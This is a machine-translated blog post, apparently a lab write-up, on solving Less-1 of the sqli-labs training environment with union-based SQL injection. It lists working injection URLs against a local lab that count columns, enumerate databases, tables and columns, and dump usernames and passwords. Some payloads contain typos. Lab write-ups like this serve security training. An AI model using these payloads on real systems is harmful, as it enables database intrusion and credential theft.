当前位置:网站首页>Sqli-labs less-01
Sqli-labs less-01
2022-06-11 06:01:00 【visionkiwi】
mysql Basic usage
Check the library :select schema_name from information_schema.schemata;
Look up the table :select table_name from information_schema.tables where table_schema='security';
List :select column_name from information_schema.columns where table_name='users';
Check field :select username,password from security.users;
less-01
Access to database :mysql -h127.0.0.1 -uroot -proot
show databases;
use security;
select * from where id='1' LIMIT 0,1;

limit 0,1; The first one is from the beginning , such as 0 Represents starting from the first , And the second 1 It represents how many data are displayed

stay sql In the sentence :
--+: Subtraction plus
-- : Subtract spaces
#: Well No
They all mean notes , Indicates that... Will not be executed after this symbol
stay sql In the sentence :
or and
A and B :A,B All for true Only then true
A or B :A,B One of the correct results is true
order by number:
number : Which column does it represent , Arrange in order

The display does not have a fifth column

Try it out mysql In the database less-1 There are three columns

At this time , Three columns are known 1,2,3
So here we use union
hold id=1 Change it to id=-1 Make it wrong , perform union hinder sql sentence

Now name by 2
password by 3
It indicates that there is echo , Can be handed over

The basic usage of function
system_user() # Current system users
user() # Currently logged in user
current_user() # Currently logged in user
database() # Database currently in use
version() # At present mysql Version information
@@datadir # mysql Installation path for
@@version_compile_os # The current operating system


In the above, because there is echo , So now I choose to 3 Do a database lookup operation at the location of
You will get the first database

Use limit Take out more data
Because in web Only one line can be displayed in the web page
So the line is constant , Just change the column


The output of the above one by one is very slow , So we use
group_concat()
It concatenates the data into a single line of output

At this time mysql The database comes out
information_schema,challenges,mysql,performance_schema,security,sys
At this time security To operate , obtain security Table information in
emails,referers,uagents,users

The last one in the previous step table_schema='security'
Single quotation marks are not recommended
Remove the single quotes , stay security Write before 0x Turn into 16 Base number
Choose security And then click Encoding Click on Hex Encode


Yes users List to operate
alike ‘’ The things inside are transformed into 16 Base number

Take out user Inside username and password
Use a batch function : concat_ws('~~',A,B) Express :A~~B
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+
Equivalent to
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws(0x7e7e,username,password)) from security.users --+
Try to change the things in single quotation marks into 0x (16 Base number )

Summary
1. http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1' # See if there is any injection
2. http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' order by 3 --+ # See how many columns
3. http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3 --+ # View the current data that can be echoed
4. http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,database() --+ # View the current database
5. http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1 --+ # view the database security
Or is it
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_caoncat(schema_name) from information_schema.schemata --+ # View all databases
6. http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1’ union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1 --+ # Look up the table
Or is it
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2group_concat(table_name) from information_schema.tables where table_schema='security' --+ # Look at all the tables
7. http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='security' --+ # Query column information
Or is it
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='security' --+ # View all column information
8. http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,concat_ws('~~',username,password) from security.users limit 1,1 # Check an account and password
Or is it
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security --+ # Check all available accounts and passwords , And use ~~ The symbols are separated .
Or is it
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security --+ # Check all available accounts and passwords , And use ~~ The symbols are separated .
边栏推荐
- Using batch enumeration files
- Multithreading tutorial (XXVIII) unsafe class
- Devsecops in Agile Environment
- ImageView supporting single finger sliding and double finger scaling
- Metabase源码二次开发之Clojure 安装
- NFC Development -- difference between ID card and IC card (M1 card and CPU card) (III)
- [daily exercise] 217 Duplicate element exists
- Thymeleafengine template engine
- After adding the header layout to the recyclerview, use the adapter Notifyitemchanged (POS,'test') invalid local refresh
- NDK learning notes (XI) POSIX sockect local communication
猜你喜欢

Twitter data collection (content, fans, keywords, etc.)

那个酷爱写代码的少年后来怎么样了——走近华为云“瑶光少年”

Warmly celebrate that yeyanxiu, senior consultant of Longzhi, won the title of "atlassian Certified Expert"
![Experimental report on information management and information system [information security and confidentiality] of Huazhong Agricultural University](/img/f6/e58196aeac85178f6603cea1962a6e.jpg)
Experimental report on information management and information system [information security and confidentiality] of Huazhong Agricultural University

Do we really need conference headphones?

Servlet
![Yoyov5's tricks | [trick8] image sampling strategy -- Sampling by the weight of each category of the dataset](/img/54/f6a3e0ef1f77901506642784e6d3b7.png)
Yoyov5's tricks | [trick8] image sampling strategy -- Sampling by the weight of each category of the dataset

Devsecops in Agile Environment

NDK R21 compiles ffmpeg 4.2.2+x264 and converts video files using ffmpeg

Sqli-libs post injection question 11-17 actual combat
随机推荐
Sword finger offer 32: print binary tree from top to bottom
Gilde failed to go to the listener to call back the reason record when loading the Gaussian blur image
NDK learning notes (x) POSIX socket for connectionless communication
Slide the receleview horizontally to the far right to listen to the page loading function
20多种云协作功能,3分钟聊透企业的数据安全经
SQLI_ LIBS range construction and 1-10get injection practice
Sword finger offer 04: find in 2D array
使用Batch设置IP地址
Summarize the five most common BlockingQueue features
Informatica: six steps of data quality management
Quartz2d drawing technology
Altiumdesigner2020 import 3D body SolidWorks 3D model
View controller and navigation mode
NDK R21 compiles ffmpeg 4.2.2+x264 and converts video files using ffmpeg
handler
Méthode de la partie du tableau
Using batch enumeration files
NDK learning notes (14) create an avi video player using avilib+window
NDK learning notes (VIII) thread related
Adapter the problem of executing only one animation in multiple frames